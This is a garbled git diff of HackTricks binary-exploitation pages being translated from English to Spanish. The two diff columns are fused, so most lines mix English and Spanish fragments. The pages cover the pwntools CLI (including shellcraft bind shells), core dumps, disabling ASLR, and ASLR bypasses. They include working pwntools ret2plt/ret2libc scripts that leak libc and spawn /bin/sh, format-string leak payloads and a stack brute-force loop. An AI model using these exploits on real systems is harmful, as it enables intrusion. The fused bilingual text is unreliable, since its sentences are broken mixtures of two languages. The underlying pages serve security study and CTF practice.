- contexto del archivo de salida (16,32,64,linux,windows...)
- output type (raw,hex,string,elf) - evitar bytes (nuevas líneas, nulo, una lista)
- output file context (16,32,64,linux,windows...) - seleccionar codificador depurar shellcode usando gdb ejecutar la salida
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
## **Pwn checksec** ## **Pwn checksec**
Checksec script Script checksec
``` ```
pwn checksec <executable> pwn checksec <executable>
``` ```
## Pwn constgrep ## Pwn constgrep
## Pwn cyclic ## Pwn cyclic
Get a pattern Obtén un patrón
``` ```
pwn cyclic 3000 pwn cyclic 3000
pwn cyclic -l faad pwn cyclic -l faad
``` ```
**Puede seleccionar:**
**Can select:** - El alfabeto utilizado (caracteres en minúscula por defecto)
- Longitud del patrón único (por defecto 4)
- The used alphabet (lowercase chars by default) - contexto (16,32,64,linux,windows...)
- Length of uniq pattern (default 4) - Tomar el desplazamiento (-l)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
## Pwn debug ## Pwn debug
Attach GDB to a process Adjuntar GDB a un proceso
``` ```
pwn debug --exec /bin/bash pwn debug --exec /bin/bash
pwn debug --pid 1234 pwn debug --pid 1234
pwn debug --process bash pwn debug --process bash
``` ```
**Puede seleccionar:**
**Can select:** - Por ejecutable, por nombre o por contexto de pid (16,32,64,linux,windows...)
- gdbscript para ejecutar
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- sysrootpath - sysrootpath
## Pwn disablenx ## Pwn deshabilitar nx
Disable nx of a binary
Deshabilitar nx de un binario
``` ```
pwn disablenx <filepath> pwn disablenx <filepath>
``` ```
## Pwn disasm ## Pwn disasm
Disas hex opcodes Desensamblar opcodes hex
``` ```
pwn disasm ffe4 pwn disasm ffe4
``` ```
**Puede seleccionar:**
**Can select:** - contexto (16,32,64,linux,windows...)
- dirección base
- context (16,32,64,linux,windows...) - color (predeterminado)/sin color
- base addres
- color(default)/no color
## Pwn elfdiff ## Pwn elfdiff
Print differences between 2 files Imprimir diferencias entre 2 archivos
``` ```
pwn elfdiff <file1> <file2> pwn elfdiff <file1> <file2>
``` ```
## Pwn hex ## Pwn hex
Get hexadecimal representation Obtener representación hexadecimal
```bash ```bash
pwn hex hola #Get hex of "hola" ascii pwn hex hola #Get hex of "hola" ascii
``` ```
## Pwn phd ## Pwn phd
Get hexdump Obtener hexdump
``` ```
pwn phd <file> pwn phd <file>
``` ```
**Puede seleccionar:**
**Can select:** - Número de bytes a mostrar
- Número de bytes por línea resaltar byte
- Number of bytes to show - Omitir bytes al principio
- Number of bytes per line highlight byte
- Skip bytes at beginning
## Pwn pwnstrip ## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft ## Pwn shellcraft
Get shellcodes Obtener shellcodes
``` ```
pwn shellcraft -l #List shellcodes pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
``` ```
**Puede seleccionar:**
**Can select:** - shellcode y argumentos para el shellcode
- Archivo de salida
- formato de salida
- depurar (adjuntar dbg al shellcode)
- antes (trampa de depuración antes del código)
- después
- evitar usar opcodes (predeterminado: no nulo y nueva línea)
- Ejecutar el shellcode
- Color/sin color
- listar syscalls
- listar posibles shellcodes
- Generar ELF como una biblioteca compartida
- shellcode and arguments for the shellcode ## Plantilla Pwn
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
Obtener una plantilla de python
``` ```
pwn template pwn template
``` ```
**Puede seleccionar:** host, puerto, usuario, contraseña, ruta y silencioso
**Can select:** host, port, user, pass, path and quiet
## Pwn unhex ## Pwn unhex
From hex to string De hex a cadena
``` ```
pwn unhex 686f6c61 pwn unhex 686f6c61
``` ```
## Actualización de Pwn
## Pwn update Para actualizar pwntools
To update pwntools
``` ```
pwn update pwn update
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses # Protecciones y Bypasses Comunes de Explotación Binaria
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Enable Core files ## Habilitar archivos de núcleo
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. Los **archivos de núcleo** son un tipo de archivo generado por un sistema operativo cuando un proceso falla. Estos archivos capturan la imagen de memoria del proceso fallido en el momento de su terminación, incluyendo la memoria del proceso, registros y el estado del contador de programa, entre otros detalles. Esta instantánea puede ser extremadamente valiosa para depurar y entender por qué ocurrió el fallo.
### **Enabling Core Dump Generation** ### **Habilitando la Generación de Volcados de Núcleo**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. Por defecto, muchos sistemas limitan el tamaño de los archivos de núcleo a 0 (es decir, no generan archivos de núcleo) para ahorrar espacio en disco. Para habilitar la generación de archivos de núcleo, puedes usar el comando **`ulimit`** (en bash o shells similares) o configurar ajustes a nivel de sistema.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
- **Usando ulimit**: El comando `ulimit -c unlimited` permite que la sesión de shell actual cree archivos de núcleo de tamaño ilimitado. Esto es útil para sesiones de depuración, pero no es persistente a través de reinicios o nuevas sesiones.
```bash ```bash
ulimit -c unlimited ulimit -c unlimited
``` ```
- **Configuración Persistente**: Para una solución más permanente, puedes editar el archivo `/etc/security/limits.conf` para incluir una línea como `* soft core unlimited`, que permite a todos los usuarios generar archivos de núcleo de tamaño ilimitado sin tener que establecer ulimit manualmente en sus sesiones.
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
```markdown ```markdown
- soft core unlimited - soft core unlimited
``` ```
### **Análisis de Archivos Core con GDB**
### **Analyzing Core Files with GDB** Para analizar un archivo core, puedes usar herramientas de depuración como GDB (el depurador GNU). Suponiendo que tienes un ejecutable que produjo un volcado de core y el archivo core se llama `core_file`, puedes comenzar el análisis con:
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
```bash ```bash
gdb /path/to/executable /path/to/core_file gdb /path/to/executable /path/to/core_file
``` ```
Este comando carga el ejecutable y el archivo de núcleo en GDB, lo que te permite inspeccionar el estado del programa en el momento del fallo. Puedes usar comandos de GDB para explorar la pila, examinar variables y entender la causa del fallo.
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. **Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
### **Checking ASLR Status** ### **Verificando el Estado de ASLR**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: Para **verificar** el estado de ASLR en un sistema Linux, puedes leer el valor del archivo **`/proc/sys/kernel/randomize_va_space`**. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:
- **0**: No randomization. Everything is static. - **0**: Sin aleatorización. Todo es estático.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. - **1**: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO están aleatorizadas.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - **2**: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de `brk()` está aleatorizada.
You can check the ASLR status with the following command:
Puedes verificar el estado de ASLR con el siguiente comando:
```bash ```bash
cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space
``` ```
### **Deshabilitar ASLR**
### **Disabling ASLR** Para **deshabilitar** ASLR, debes establecer el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí te mostramos cómo puedes deshabilitarlo:
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
También puedes desactivar ASLR para una ejecución con:
You can also disable ASLR for an execution with:
```bash ```bash
setarch `arch` -R ./bin args setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args setarch `uname -m` -R ./bin args
``` ```
### **Habilitando ASLR**
### **Enabling ASLR** Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
```bash ```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### **Persistencia a Través de Reinicios**
### **Persistence Across Reboots** Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea:
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
```tsconfig ```tsconfig
kernel.randomize_va_space=2 # Enable ASLR kernel.randomize_va_space=2 # Enable ASLR
# or # or
kernel.randomize_va_space=0 # Disable ASLR kernel.randomize_va_space=0 # Disable ASLR
``` ```
Después de editar `/etc/sysctl.conf`, aplica los cambios con:
After editing `/etc/sysctl.conf`, apply the changes with:
```bash ```bash
sudo sysctl -p sudo sysctl -p
``` ```
Esto asegurará que la configuración de ASLR se mantenga a través de reinicios.
This will ensure that your ASLR settings remain across reboots.
## **Bypasses** ## **Bypasses**
### 32bit brute-forcing ### Fuerza bruta de 32 bits
PaX divides the process address space into **3 groups**: PaX divide el espacio de direcciones del proceso en **3 grupos**:
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. - **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. - **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamada `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. - **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del 10º al 20º byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
#### Brute-force ideas: #### Ideas de fuerza bruta:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
- Si tienes un desbordamiento lo suficientemente grande para alojar un **gran NOP sled antes del shellcode**, podrías simplemente forzar direcciones en la pila hasta que el flujo **salte sobre alguna parte del NOP sled**.
- Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible **agregar el NOP sled y el shellcode en una variable de entorno**.
- Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
- Si atacas un servidor remoto, podrías intentar **forzar por fuerza bruta la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10s extra en responder**, encontraste la dirección de esta función.
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
> [!TIP] > [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible. > En sistemas de 64 bits, la entropía es mucho mayor y esto no debería ser posible.
### 64 bits stack brute-forcing ### Fuerza bruta en la pila de 64 bits
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
Es posible ocupar una gran parte de la pila con variables de entorno y luego intentar abusar del binario cientos/miles de veces localmente para explotarlo.\
El siguiente código muestra cómo es posible **simplemente seleccionar una dirección en la pila** y cada **pocas centenas de ejecuciones** esa dirección contendrá la **instrucción NOP**:
```c ```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h> #include <stdio.h>
int main() { int main() {
unsigned long long address = 0xffffff1e7e38; unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address; unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr; unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0; return 0;
} }
``` ```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set # Define the environment variables you want to set
env_vars = { env_vars = {
'a': shellcode_env_var, 'a': shellcode_env_var,
'b': shellcode_env_var, 'b': shellcode_env_var,
'c': shellcode_env_var, 'c': shellcode_env_var,
'd': shellcode_env_var, 'd': shellcode_env_var,
'e': shellcode_env_var, 'e': shellcode_env_var,
'f': shellcode_env_var, 'f': shellcode_env_var,
'g': shellcode_env_var, 'g': shellcode_env_var,
'h': shellcode_env_var, 'h': shellcode_env_var,
'i': shellcode_env_var, 'i': shellcode_env_var,
'j': shellcode_env_var, 'j': shellcode_env_var,
'k': shellcode_env_var, 'k': shellcode_env_var,
'l': shellcode_env_var, 'l': shellcode_env_var,
'm': shellcode_env_var, 'm': shellcode_env_var,
'n': shellcode_env_var, 'n': shellcode_env_var,
'o': shellcode_env_var, 'o': shellcode_env_var,
'p': shellcode_env_var, 'p': shellcode_env_var,
} }
cont = 0 cont = 0
while True: while True:
cont += 1 cont += 1
if cont % 10000 == 0: if cont % 10000 == 0:
break break
print(cont, end="\r") print(cont, end="\r")
# Define the path to your binary # Define the path to your binary
binary_path = './aslr-testing' binary_path = './aslr-testing'
try: try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0] output = process.communicate()[0]
if "0xd5" in str(output): if "0xd5" in str(output):
print(str(cont) + " -> " + output) print(str(cont) + " -> " + output)
except Exception as e: except Exception as e:
print(e) print(e)
print(traceback.format_exc()) print(traceback.format_exc())
pass pass
``` ```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`) ### Información Local (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y **contiene información interesante** como:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary - **startcode** & **endcode**: Direcciones por encima y por debajo del **TEXT** del binario
- **startstack**: The address of the start of the **stack** - **startstack**: La dirección del inicio de la **pila**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is - **start_data** & **end_data**: Direcciones por encima y por debajo donde está el **BSS**
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses - **kstkesp** & **kstkeip**: Direcciones actuales de **ESP** y **EIP**
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. - **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **argumentos cli**.
- **env_start** &**env_end**: Addresses above and below where **env variables** are. - **env_start** & **env_end**: Direcciones por encima y por debajo donde están las **variables de entorno**.
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible que un atacante **obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación**.
> [!TIP] > [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` > Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
### Having a leak ### Tener un leak
- **The challenge is giving a leak** - **El desafío es proporcionar un leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
Si se te proporciona un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
```python ```python
from pwn import * from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}') log.success(f'LIBC base: {hex(libc.address)}')
payload = flat( payload = flat(
'A' * 32, 'A' * 32,
libc.sym['system'], libc.sym['system'],
0x0, # return address 0x0, # return address
next(libc.search(b'/bin/sh')) next(libc.search(b'/bin/sh'))
) )
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
- **ret2plt** - **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: Abusando de un desbordamiento de búfer, sería posible explotar un **ret2plt** para exfiltrar una dirección de una función de la libc. Ver:
{{#ref}} {{#ref}}
ret2plt.md ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read** - **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una **función de libc** desde el GOT. El siguiente [**ejemplo es de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python ```python
payload = p32(elf.got['puts']) # p64() if 64-bit payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|' payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main']) payload += p32(elf.symbols['main'])
``` ```
Puedes encontrar más información sobre la lectura arbitraria de cadenas de formato en:
You can find more info about Format Strings arbitrary read in:
{{#ref}} {{#ref}}
../../format-strings/ ../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop ### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack: Intenta eludir ASLR abusando de direcciones dentro de la pila:
{{#ref}} {{#ref}}
ret2ret.md ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall ### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ El mecanismo **`vsyscall`** sirve para mejorar el rendimiento al permitir que ciertas llamadas al sistema se ejecuten en el espacio de usuario, aunque son parte fundamental del kernel. La ventaja crítica de **vsyscalls** radica en sus **direcciones fijas**, que no están sujetas a **ASLR** (Aleatorización del Diseño del Espacio de Direcciones). Esta naturaleza fija significa que los atacantes no requieren una vulnerabilidad de fuga de información para determinar sus direcciones y usarlas en un exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) Sin embargo, no se encontrarán gadgets super interesantes aquí (aunque, por ejemplo, es posible obtener un equivalente a `ret;`)
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) (El siguiente ejemplo y código es [**de este informe**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
Por ejemplo, un atacante podría usar la dirección `0xffffffffff600800` dentro de un exploit. Mientras que intentar saltar directamente a una instrucción `ret` podría llevar a inestabilidad o bloqueos después de ejecutar un par de gadgets, saltar al inicio de un `syscall` proporcionado por la sección **vsyscall** puede resultar exitoso. Al colocar cuidadosamente un gadget **ROP** que dirija la ejecución a esta dirección **vsyscall**, un atacante puede lograr la ejecución de código sin necesidad de eludir **ASLR** para esta parte del exploit.
``` ```
ef➤ vmmap ef➤ vmmap
Start End Offset Perm Path Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800 gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135 0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall 0xffffffffff600807: syscall
0xffffffffff600809: ret 0xffffffffff600809: ret
0xffffffffff60080a: int3 0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800 gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135 0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall 0xffffffffff600807: syscall
0xffffffffff600809: ret 0xffffffffff600809: ret
0xffffffffff60080a: int3 0xffffffffff60080a: int3
``` ```
### vDSO ### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: Nota, por lo tanto, cómo podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta:
{{#ref}} {{#ref}}
../../rop-return-oriented-programing/ret2vdso.md ../../rop-return-oriented-programing/ret2vdso.md

View File

@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. El objetivo de esta técnica sería **filtrar una dirección de una función del PLT** para poder eludir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función `puts` de la libc, puedes entonces **calcular dónde está la base de `libc`** y calcular los desplazamientos para acceder a otras funciones como **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
Esto se puede hacer con una carga útil de `pwntools` como ([**desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python ```python
# 32-bit ret2plt # 32-bit ret2plt
payload = flat( payload = flat(
b'A' * padding, b'A' * padding,
elf.plt['puts'], elf.plt['puts'],
elf.symbols['main'], elf.symbols['main'],
elf.got['puts'] elf.got['puts']
) )
# 64-bit # 64-bit
payload = flat( payload = flat(
b'A' * padding, b'A' * padding,
POP_RDI, POP_RDI,
elf.got['puts'] elf.got['puts']
elf.plt['puts'], elf.plt['puts'],
elf.symbols['main'] elf.symbols['main']
) )
``` ```
Nota cómo **`puts`** (usando la dirección del PLT) se llama con la dirección de `puts` ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que para cuando `puts` imprime la entrada de la GOT de puts, esta **entrada contendrá la dirección exacta de `puts` en memoria**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. También nota cómo se utiliza la dirección de `main` en el exploit, de modo que cuando `puts` termina su ejecución, el **binario llama a `main` nuevamente en lugar de salir** (así que la dirección filtrada seguirá siendo válida).
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
> [!CAUTION] > [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. > Nota cómo para que esto funcione el **binario no puede ser compilado con PIE** o debes haber **encontrado una filtración para eludir PIE** para conocer la dirección del PLT, GOT y main. De lo contrario, necesitas eludir PIE primero.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
Puedes encontrar un [**ejemplo completo de este bypass aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este fue el exploit final de ese **ejemplo**:
```python ```python
from pwn import * from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline() p.recvline()
payload = flat( payload = flat(
'A' * 32, 'A' * 32,
elf.plt['puts'], elf.plt['puts'],
elf.sym['main'], elf.sym['main'],
elf.got['puts'] elf.got['puts']
) )
p.sendline(payload) p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}') log.success(f'LIBC base: {hex(libc.address)}')
payload = flat( payload = flat(
'A' * 32, 'A' * 32,
libc.sym['system'], libc.sym['system'],
libc.sym['exit'], libc.sym['exit'],
next(libc.search(b'/bin/sh\x00')) next(libc.search(b'/bin/sh\x00'))
) )
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## Otros ejemplos y referencias
## Other examples & References
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
